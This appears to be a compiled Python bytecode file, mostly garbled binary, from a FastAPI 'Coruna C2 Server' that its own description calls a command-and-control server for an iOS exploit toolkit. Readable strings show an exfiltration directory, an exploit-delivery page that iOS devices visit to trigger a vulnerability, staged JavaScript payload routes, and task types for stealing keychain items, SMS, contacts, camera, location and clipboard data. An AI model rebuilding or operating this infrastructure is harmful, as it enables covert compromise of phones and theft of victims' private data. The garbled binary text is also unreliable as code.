a
    Xj                     @   sJ  d Z ddlmZmZmZmZ ddlmZ ddlm	Z	 ddl
mZ ddlmZ ddlZddlmZ dd	lmZmZ dd
lmZ ddlmZmZmZmZmZmZmZ e ZeedddZedddedZej edgddgdgd e!ej" e!ej" e!ej" e!ej" e!ej" e!ej" edee#dddZ$ededddZ%ee&j'j'Z(e(d d Z)e)* rej+d ee#e)d!dd" ej,* rej+d#ee#ej,d!d$d" e(d% Z-e-* rej+d&ee#e-d!d%d" e(d' Z.e.* rej+d(ee#e.d!d'd" e(d) Z/e/* rDej+d*ee#e/d!d)d" ej0d+e	d,d-d. Z1ej0d/e	d,d0d1 Z2e0d2d3d4 Z3e0d5d6d7 Z4e0d8d9d: Z5e0d;d<d= Z6e0d>e#d?d@dAZ7ddBlm8Z8 ddClm9Z9 e:e8ee8dDdEdFZ;e:e<ee<dDdGdHZ=e>dIkrFddl?Z?e?j@dJejAejBddKdL dS )Mu   FastAPI 主应用    )FastAPIRequestDepends	WebSocket)StaticFiles)HTMLResponse)CORSMiddleware)asynccontextmanagerN)Path)engineBase)
get_config)devicestasksuploadpostexploitadmin	websocketpayloadsappc                 C  sx   t jjtd tjjddd tjjddd tjjddd t	d t	d t	dtj
 dtj  dV  t	d	 dS )
u   应用生命周期管理)bindT)parentsexist_okz[OK] Database initializedz[OK] Directories createdz[OK] Server running on: http://:NzShutting down...)r   metadataZ
create_allr   config	EXFIL_DIRmkdirZLOG_DIRZPAYLOADS_DIRprintHOSTPORTr    r"   !/root/Coruna-main/backend/main.pylifespan   s    r$   Coruna C2 Serverz2Command and Control server for iOS exploit toolkit1.0.0)titledescriptionversionr$   *T)Zallow_originsZallow_credentialsZallow_methodsZallow_headersz/ws/device/{device_uuid})r   device_uuidc                    s$   ddl m} || |ddI dH  dS )u   设备 WebSocket 连接端点r   websocket_endpointF)r+   r   NZapi.websocketr-   )r   r+   r-   r"   r"   r#   websocket_device_endpointD   s    r/   z	/ws/admin)r   c                    s"   ddl m} || ddI dH  dS )u    管理员 WebSocket 连接端点r   r,   T)r   Nr.   )r   r-   r"   r"   r#   websocket_admin_endpointK   s    r0   frontendZstaticz/static)	directory)namez/exfilZexfilZ
downloadedz/downloadedr   z	/payloadsotherz/other/)Zresponse_classc                     sN   t d d } |  rJt| ddd}| W  d   S 1 s@0    Y  dS )u   根路径 - 返回管理面板r1   z
admin.htmlrutf-8encodingNa  
    <!DOCTYPE html>
    <html>
    <head>
        <title>Coruna C2 Server</title>
        <meta charset="utf-8">
    </head>
    <body>
        <h1>Coruna C2 Server</h1>
        <p>Server is running. API documentation available at <a href="/docs">/docs</a></p>
        <p>WebSocket endpoints:</p>
        <ul>
            <li>Device: ws://host:port/ws/device/{device_uuid}</li>
            <li>Admin: ws://host:port/ws/admin</li>
        </ul>
    </body>
    </html>
    )project_rootexistsopenread)Z
admin_htmlfr"   r"   r#   rootr   s
    &r?   z/group.htmlc                     sR   t d } |  rFt| ddd}| W  d   S 1 s<0    Y  tdddS )	u9   漏洞利用页面 - iOS设备访问此页面触发漏洞z
group.htmlr6   r7   r8   Nz<h1>group.html not found</h1>  contentstatus_code)r:   r;   r<   r=   r   )Z
group_htmlr>   r"   r"   r#   
group_page   s
    &rD   z/platform_module.jsc                     sj   t d } |  r^t| ddd}| }W d   n1 s<0    Y  ddlm} ||dd	S |d
ddS )u   平台模块 JSzplatform_module.jsr6   r7   r8   Nr   Responseapplication/javascriptrB   Z
media_type// Not foundr@   rA   r:   r;   r<   r=   fastapi.responsesrF   Zmodule_filer>   rB   rF   r"   r"   r#   platform_module_js   s    &rM   z/utility_module.jsc                     sj   t d } |  r^t| ddd}| }W d   n1 s<0    Y  ddlm} ||dd	S |d
ddS )u   工具模块 JSzutility_module.jsr6   r7   r8   Nr   rE   rG   rH   rI   r@   rA   rJ   rL   r"   r"   r#   utility_module_js   s    &rN   z/healthc                      s   ddddS )u   健康检查端点Zhealthyz	Coruna C2r&   )statusserverr)   r"   r"   r"   r"   r#   health_check   s    rQ   z	/api/infoc                      s   ddt jt jg ddS )u   服务器信息r%   r&   )shellr   ZdownloadZ
screenshotZkeychainZcontactZsmsZcameralocationZapp_listZprocess_listZ	wifi_scanZ	clipboard)rP   r)   Zsupported_ios_versionsZexploit_stagesZ
task_types)r   ZSUPPORTED_IOS_VERSIONSZEXPLOIT_STAGESr"   r"   r"   r#   server_info   s    rT   z/{filename}.js)filenamec                    s   ddl m} t|  d }| rdt|ddd}| }W d   n1 sN0    Y  ||dd	S td
 |  d }| rt|ddd}| }W d   n1 s0    Y  ||dd	S |dddS )uQ   兜底路由 — 服务项目根目录下的所有 .js 文件（Stage1/2/3 等）r   rE   z.jsr6   r7   r8   NrG   rH   r4   rI   r@   rA   )rK   rF   r:   r;   r<   r=   )rU   rF   Zjs_filer>   rB   r"   r"   r#   serve_root_js   s    &&rV   )HTTPException)JSONResponserequestexcc                    s   t |jd|j|jddS )u   HTTP 异常处理T)errormessagerC   rC   rB   )rX   rC   detailrY   r"   r"   r#   http_exception_handler   s    r`   c                    s:   ddl }td|  t|  tdddt|ddS )	u   通用异常处理r   NzUnhandled exception: i  TzInternal server error)r\   r]   r_   r^   )	tracebackr   
format_excrX   str)rZ   r[   ra   r"   r"   r#   general_exception_handler   s    rd   __main__zbackend.main:appinfo)hostportreload	log_level)C__doc__Zfastapir   r   r   r   Zfastapi.staticfilesr   rK   r   Zfastapi.middleware.corsr   
contextlibr	   ospathlibr
   Zdatabaser   r   r   r   Zapir   r   r   r   r   r   r   r$   r   Zadd_middlewareZinclude_routerZrouterrc   r/   r0   __file__parentr:   Z
static_dirr;   Zmountr   Zdownloaded_dirZpayloads_dirZ	other_dirgetr?   rD   rM   rN   rQ   rT   rV   rW   rX   Zexception_handlerr`   	Exceptionrd   __name__uvicornrunr    r!   r"   r"   r"   r#   <module>   s   $	





	


	

